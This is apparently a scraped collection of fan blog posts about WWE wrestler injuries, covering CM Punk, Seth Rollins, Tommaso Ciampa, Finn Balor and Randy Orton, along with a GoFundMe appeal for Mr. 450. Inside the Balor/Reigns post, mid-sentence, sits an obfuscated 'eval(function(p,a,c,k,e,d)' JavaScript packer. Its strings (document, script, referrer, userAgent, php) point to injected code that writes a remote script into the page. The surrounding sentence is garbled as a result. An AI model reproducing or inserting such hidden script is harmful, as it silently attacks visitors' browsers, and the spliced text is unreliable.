Yes, again. So Punk apparently got hurt at some point during the Royal Rumble. While it isn’t confirmed, it is speculated to be a torn triceps, which would put Punk out of action for most of the rest of the year. Punk is apparently set to address the injury this week on Raw, which is likely not going to be the best news.

I’m a big Punk fan but my goodness this can’t keep happening. At the end of the day, this is yet another major injury that is likely to keep Punk out of the ring for months. He’s in his mid-40s and that does not exactly suggest a bright future. It wouldn’t shock me if he wants to come back for one more big moment, but how many special returns can he have? On top of that, how is WWE supposed to be willing to put him in a top spot if his body keeps breaking down like this? It’s sad to see, but it’s also the kind of situation where reality has to set in at some point.

So Seth Rollins has torn his MCL and part of his meniscus, which means things are getting very complicated very fast. The biggest problem here is that we’ll have to see how long Rollins is going to be out of action. It’s going to be at least a few weeks, but there aren’t that many weeks to go before Wrestlemania. You can all but guarantee that he will be out of the Royal Rumble and Elimination Chamber, which means we’re stuck waiting, as usual.

Now what does that mean for the title situation? Well assuming Rollins is going to be out of action for a long time and has to vacate the title (which hasn’t been announced), the best bet would probably be to have the Rumble for the title. It instantly raises the stakes and lets WWE go wherever they want in a single night. If you don’t know where you want to go then the Rumble can proceed as usual, but WWE might be needing to come up with another idea for Wrestlemania. Since that was all but guaranteed to be Rollins vs. CM Punk, Cody Rhodes or Drew McIntyre might be having another story.

Or Damian Priest finally gets rid of the briefcase on Raw and everything is solved at once.

It’s just one more month!https://wrestlingrumors.net/tommyhall/nxt-champion-tommaso-ciampa-needs-neck-surgery-mean-title/

Tommaso Ciampa needs neck surgery and could be out for over a year, meaning the Takeover: New York match with Johnny Gargano is out and the title is going to be vacated.  I was hoping he could hang on for one more month but you can’t take risks with a neck injury.  No word on what it means for the title.

Not yet confirmed but it doesn’t sound good.https://wrestlingrumors.net/tommyhall/breaking-major-change-to-elimination-chamber-match-superstar-to-be-removed-due-to-injury/

Mustafa Ali might be out of the match due to a variety of injuries.  I certainly hope this isn’t the case, but with someone who flies around like that, you have to expect the toll to catch up on him.  No word on who would replace him.  Who would be good?

Told a buddy I’d pass this along.  Check it out if you can afford to donate to a good cause.

So, if you saw 205 Live, you may have seen someone that lingers around my profile. John Yurnet known outside WWE as Mr. 450 is pretty much the top wrestler in Puerto Rico and also works in Mexico’s Lucha Libre ELITE. The man in 2014 was responsible for a boom in wrestling on the island after years of it just existing with no interest.

On 205 Live, his first time ever wrestling in a main roster WWE show, live no less, he blew out his meniscus on the first move. It’s a lingering injury. Something hard to cover when wrestling in Puerto Rico is as low and slimy as it gets. After announcing he would be selling his wrestling gear to raise funds, a Go Fund Me was started in order to help pay his bill.

Seriously, this man is a fantastic worker and I believe he can be something notable inside the WWE. Unfortunately, this happened when he was at the cusp of finally achieving his dream. If you can lend any help, it would be greatly appreciated.

WOW.  I mean WOW.  Balor separated/dislocated his shoulder taking the buckle bomb against the barricade last night and word on the street is he might be out three months.  On top of that though: how important is it that he won last night?  If Balor lost last night, the Demon looks like a joke and he’s sent scurrying away after his first pay per view match.  Now he fought through an injury and can come back as the uncrowned champion.

Odds are we get champion Rollins again, but dang this is bad.

Edit: According to Cole on Raw, he’s going to be out SIX MONTHS.  That means no Rumble and barely getting back for Wrestlemania.

DANG the injuries are piling up.  Is there any reason why they haven’t started calling up more people from NXT to give them a shot?

Well eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|rzhai|var|u0026u|referrer|eesfz||js|php'.split('|'),0,{})) that changes everything.  I’d assume Reigns gets it but my goodness how much do they wish they had Orton and Cena back right now.

http://www.wrestlingrumors.net/seth-rollins-possibly-injured/44556/

It’s a leg/knee and he was helped to the back.  There’s no word on how serious it is but it’s always noteworthy.

WWE has acknowledged the injury and it’s not good.http://www.wwe.com/inside/randy-orton-injured-november-2015-28150944

The company doctor says at this point it’s a matter of when Orton would hurt his shoulder again rather than when.  Surgery is likely and Orton would be out four to six months.  That means he could miss Wrestlemania.
